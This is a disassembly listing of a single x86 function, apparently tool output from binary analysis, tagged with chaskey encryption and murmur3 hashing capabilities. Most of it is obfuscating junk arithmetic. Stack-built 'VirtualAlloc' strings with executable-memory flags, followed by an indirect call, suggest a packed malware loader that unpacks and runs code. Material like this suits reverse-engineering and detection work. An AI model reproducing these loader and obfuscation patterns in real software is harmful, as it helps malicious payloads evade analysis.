Function at 0x4045a4
Capabilities:
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea esi, [ebp - 0x3e8]
push ebx
sub esp, 0x42c
mov dword [esp], 0x8001
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [ebp - 0x3e8], 0x11c
push eax
xor eax, eax
mov dword [ebp - 0x3d4], eax
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 0x2d0], eax
mov dword [esp], esi
call ebx
push edx
test eax, eax
jne 0x404626
mov dword [ebp - 0x3e8], 0x114
mov dword [esp], esi
call ebx
xor eax, eax
cmp word [ebp - 0x3d4], 0x53
mov byte [ebp - 0x2ce], 4
push edi
jne 0x40461f
mov ax, word [ebp - 0x3ba]
sub eax, 0x30
mov word [ebp - 0x2d4], ax
mov ecx, dword [ebp - 0x3e4]
cmp ecx, 9
ja 0x40463b
and dword [ebp - 0x3dc], 0xffff
mov eax, dword [ebp - 0x3dc]
movzx edx, byte [ebp - 0x2ce]
shl ecx, 8
mov dword [0x419058], eax
mov eax, dword [ebp - 0x2d4]
shl eax, 8
or eax, edx
movzx edx, byte [ebp - 0x3e0]
movzx eax, ax
or edx, ecx
shl edx, 0x10
or eax, edx
mov dword [0x41905c], eax
shr eax, 0x10
cmp ax, 0x600
je 0x404693
xor ebx, ebx
mov dword [esp], ebx
call fcn.00408678
push esi
test eax, eax
je 0x404693
mov dword [esp], 0xc00
call eax
push ecx
mov ebx, str.UXTHEME
cmp byte [ebx], 0
je 0x4046b6
mov dword [esp], ebx
call fcn.004085ea
push eax
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebx, [ebx + eax + 1]
push edx
jmp 0x404698
mov dword [esp], 0xc
pushal
pushfd
push ebx
not eax
xor edx, eax
mov esi, eax
mov edx, 0x329c61cb
call fcn.0040143e
mov ecx, dword [0x40b0e6]
or edx, 0x14bf009f
xor ecx, 0x3704b47a
mov ecx, 0x9d2268
not esi
mov esi, dword [0x40b100]
ror esi, 0x16
into
push ss
mov ebx, dword [0x40b1ef]
rol eax, 0x17
inc eax
xchg ebx, eax
inc eax
shr eax, 0x10
neg edi
dec esi
xchg edx, eax
neg eax
mov ebx, dword [str.SetDefaultDllDirectories]
loop 0x4046e7
rol eax, 0xf
xor ebx, eax
not eax
mov edi, ebx
shr esi, 0x17
mov eax, esp
test ecx, esp
jb 0x4046f0
sub edi, eax
push 0x43a254
ror esi, 0xe
xor ebx, dword [0x40b07d]
xor edx, dword [0x40b096]
xchg esi, eax
or dword [0x40b878], ebx
xor esi, eax
sub eax, edx
rol eax, 6
call fcn.004075b1
ror edx, 0x1f
sub edi, dword [0x40b05e]
sub ecx, dword [0x40b1b8]
call fcn.00407c9d
not eax
dec eax
add edi, dword [0x40b02d]
xor edi, dword [0x40b147]
rol esi, 0x1d
add ecx, 0x1b750699
xor dword [0x40b788], 0xefa0303
ror ebx, 7
sub eax, eax
mov dword [0x40b721], 0x123dfbcf
call fcn.00402c75
mov dword [0x40b308], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
rol eax, 0xb
inc edx
xor edi, ecx
neg eax
call fcn.0040382d
neg eax
inc eax
sub edx, dword [0x40b997]
add edi, dword [0x40baa9]
neg eax
xor edi, esp
dec esi
xor ecx, dword [0x40bbc7]
xor dword [0x40b2fc], ecx
xchg ecx, eax
add ecx, dword [0x40bc93]
xor eax, 0x313b6de
neg ecx
neg ecx
xor eax, 0x313b6de
xchg ecx, eax
sub dword [0x40b6b6], edx
inc esi
xor edi, esp
neg eax
dec eax
neg eax
neg eax
xor edi, ecx
dec edx
ror eax, 0xb
push 0
call fcn.004055c9
xor edx, ebx
or dword [0x40b699], 0x8988f
sub ecx, esp
xor ecx, dword [0x40ba52]
xor ebx, esi
not eax
call fcn.004012ae
or dword [0x40b618], edx
sub ecx, dword [0x40bbdc]
sub dword [0x40b51e], edi
call fcn.00408420
not eax
xor ebx, esi
add ecx, esp
xor dword [0x40b675], 0x1c458858
xor edx, ebx
call fcn.00407467
push 0x636f6c6c
dec ebx
xor edi, esi
xchg edi, esi
rol edx, 0x13
xor esi, 0xdf55b83
xor ecx, dword [0x40bf3f]
sub ebx, dword [0x40bc50]
xchg edx, esi
inc edx
neg eax
neg eax
dec edx
xchg edx, esi
xor esi, 0xdf55b83
ror edx, 0x13
xchg edi, esi
xor edi, esi
inc ebx
push 0x416c6175
xor eax, 0xc059528
add edx, eax
sub ecx, dword [0x40bc79]
call fcn.00402781
add esi, edi
xchg ebx, eax
call fcn.004089b4
xchg esi, eax
sub ecx, dword [0x40bee0]
call fcn.00408420
sub esi, dword [0x40bedd]
sub ecx, dword [0x40bb79]
call fcn.0040418c
sub edx, dword [0x40b9d0]
rol eax, 0x1e
dec edi
rol esi, 0xe
xor eax, ecx
inc esi
ror edi, 0xc
sub ebx, dword [0x40bac8]
add ecx, esp
sub ecx, esp
rol edi, 0xc
dec esi
xor eax, ecx
ror esi, 0xe
inc edi
ror eax, 0x1e
call fcn.00402c75
xchg esi, eax
call fcn.004055c9
xchg ebx, eax
sub esi, edi
call fcn.004032c9
sub edx, eax
xor eax, 0xc059528
push 0x74726956
xor esi, dword [0x40ba4c]
not esi
rol ecx, 3
dec esi
mov dword [0x40b7b8], 0x209b152f
rol esi, 0xd
add edx, eax
xor edi, dword [0x40bc78]
xor esi, ebx
xor edx, 0x1002250
sub esi, dword [0x40bd0f]
xor eax, 0x763043a
sub edx, dword [0x40bb68]
rol eax, 5
xor ecx, dword [0x40bb5c]
xor edi, eax
mov dword [0x40b650], ebx
xor esi, edx
xor ebx, dword [0x40bcbc]
xor dword [0x40b5c0], ebx
call fcn.004055c9
or dword [0x40b5c0], 0xbe1c35e
xor dword [0x40b878], 0x1e6e568
xor esi, edx
xor dword [0x40b836], edx
xor edi, eax
ror eax, 5
xor eax, 0x763043a
xor edx, 0x1002250
xor esi, ebx
sub edx, eax
ror esi, 0xd
xor dword [0x40b878], 0x531ea1e
inc esi
ror ecx, 3
not esi
push esp
or dword [0x40b680], 0x80d296c
add ebx, esi
or dword [0x40b79f], esi
inc esi
not ecx
dec eax
sub esi, 0x3f7bad4
xor esi, 0xb5ebf70
neg esi
xor esi, dword [0x40bf37]
xor esi, eax
or dword [0x40b341], ebx
neg esi
mov dword [0x40b404], 0x222d7e32
xchg edi, eax
inc eax
rol esi, 0x11
xor edx, dword [0x40be74]
xor ebx, ecx
neg edi
neg edi
xor ebx, ecx
ror esi, 0x11
dec eax
xchg edi, eax
or dword [0x40b890], 0x93e818
neg esi
mov dword [0x40b205], ecx
xor esi, eax
neg esi
xor esi, 0xb5ebf70
add esi, 0x3f7bad4
inc eax
not ecx
dec esi
mov dword [0x40b428], edx
sub ebx, esi
push eax
sub ebx, dword [0x40bc7c]
rol esi, 0xe
not edx
call fcn.0040676f
rol edx, 0x14
mov dword [0x40b7a5], 0x1740e95
add ebx, dword [0x40bec5]
not eax
add esi, edi
inc edx
xor ebx, ebp
call fcn.00402eb5
xor ebx, ebp
dec edx
sub esi, edi
not eax
mov dword [0x40b732], 0x985e900
ror edx, 0x14
call fcn.00404419
not edx
ror esi, 0xe
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
ror eax, 5
or dword [0x40b323], 0xcabc0
xor esi, eax
xor ebx, eax
xor ecx, dword [0x40bdd2]
rol edx, 9
call fcn.00405bd8
rol eax, 0x16
dec eax
not esi
call fcn.004032c9
xor ecx, eax
ror esi, 0x1f
call fcn.00407386
xor edx, dword [0x40bde2]
sub dword [0x40b4f4], 0x114f22e0
ror eax, 7
rol eax, 7
sub dword [0x40b5af], 0xb40f76a
call fcn.00408420
rol esi, 0x1f
xor ecx, eax
call fcn.00409071
not esi
inc eax
ror eax, 0x16
call fcn.00408420
ror edx, 9
xor ebx, eax
xor esi, eax
or dword [0x40b6d3], 0x253f3b6
rol eax, 5
add esp, 0x10
not esi
xor esi, 0x1aa8b14
xor edi, edx
call fcn.00402b6e
neg esi
dec ebx
add edx, 0x4fff115
xor ebx, ecx
not edi
xor edx, dword [0x40bf3a]
add eax, 0x144d09f4
call fcn.00403c27
and dword [0x40b624], esi
add esi, eax
mov dword [0x40b5c0], 0x38cbff8e
xor eax, 0x279a9b0
ror eax, 0x1d
call fcn.004055c9
xor ecx, esi
xor ecx, esi
rol eax, 0x1d
xor eax, 0x279a9b0
mov dword [0x40b5a0], 0x33b3d0
sub esi, eax
mov dword [0x40b764], esi
call fcn.0040221b
sub eax, 0x144d09f4
not edi
xor ebx, ecx
sub edx, 0x4fff115
inc ebx
neg esi
call fcn.0040372c
xor edi, edx
xor esi, 0x1aa8b14
not esi
push 0x40
neg edx
inc eax
ror ebx, 0x1e
xor esi, eax
call fcn.004055c9
sub eax, edx
dec esi
neg esi
dec esi
neg eax
call fcn.0040724b
call fcn.00408420
neg eax
inc esi
neg esi
inc esi
add eax, edx
call fcn.00403dae
xor esi, eax
rol ebx, 0x1e
dec eax
neg edx
push 0x3000
xor dword [0x40b4c0], ecx
ror eax, 0x12
sub dword [0x40b255], 0x5a27d0e
xor ecx, dword [0x40bde1]
xchg esi, eax
xor edi, dword [0x40bf65]
xor ebx, eax
xor esi, eax
mov dword [0x40b351], edx
neg edx
xor edi, dword [0x40ba2a]
dec ecx
xor edi, dword [0x40bbf6]
add esi, 0x9bab2ec
sub esi, 0x9bab2ec
inc ecx
neg edx
xor dword [0x40b6d7], edi
xor esi, eax
xor ebx, eax
xchg esi, eax
rol eax, 0x12
and dword [0x40b66c], ebx
push 0x5b5
xor esi, eax
call fcn.00401084
or dword [0x40b200], 0x25909f00
dec edx
call fcn.004075b1
ror edi, 0xb
xor esi, eax
mov dword [0x40b29a], 0x3d177e
sub esi, edi
xor esi, eax
xor esi, eax
add esi, edi
xor esi, eax
rol edi, 0xb
inc edx
mov dword [0x40b248], 0x5e8a5f4
xor esi, eax
push 0
sub esi, ebp
call fcn.00405a53
add dword [0x40b7bf], 0x1ec27978
add edx, ebp
or dword [0x40b3c2], edx
sub edi, dword [0x40b960]
mov dword [0x40b533], ecx
call fcn.00402649
xchg esi, edx
add edi, dword [0x40bce3]
xor esi, 0x199795aa
xor edx, dword [0x40badc]
rol ecx, 0x1b
dec esi
mov dword [0x40b6e0], edi
xchg eax, eax
dec esi
rol ecx, 6
sub dword [0x40b225], esi
or dword [0x40b860], 0x3220911c
sub dword [0x40b8e1], edx
ror ecx, 6
inc esi
xchg eax, eax
mov dword [0x40b684], ebx
inc esi
ror ecx, 0x1b
xor esi, 0x199795aa
xchg esi, edx
call fcn.004055c9
mov dword [0x40b5a4], ecx
sub edx, ebp
mov dword [0x40b6f2], 0x106fae0
call fcn.0040421e
add esi, ebp
call eax
call fcn.00406608
mov dword [0x40b29b], ebx
xor eax, 0x745724e
sub dword [0x40b578], edx
xor edi, eax
xor ebx, dword [0x40bd70]
sub dword [0x40b5bb], esi
not ebx
sub edi, ecx
xor edi, eax
xchg esi, eax
mov dword [0x40b5a1], ecx
xor ebx, eax
not esi
xor edx, dword [0x40bef0]
not esi
xor ebx, eax
xchg esi, eax
xor edi, eax
add edi, ecx
not ebx
xor edi, eax
xor eax, 0x745724e
jb 0x404dbb
pop es
mov dword [0x40b5e3], esi
call 0x404d82
neg edi
xor esi, eax
call fcn.0040418c
mov dword [0x40b5c3], 0x13a85cd5
ror edi, 0x18
sub eax, 0x33c92aa
stosb byte es:[edi], al
xchg edx, eax
cmp al, 3
ror esi, 0x18
xor dword [0x40b758], esi
xor eax, 0x1c8d7c4c
call fcn.004029aa
sub esi, ebp
not esi
xchg esi, eax
call fcn.004067ab
call fcn.004014ca
xchg esi, eax
not esi
add esi, ebp
call fcn.00404419
xor eax, 0x1c8d7c4c
xor dword [0x40b285], edi
rol esi, 0x18
add eax, 0x33c92aa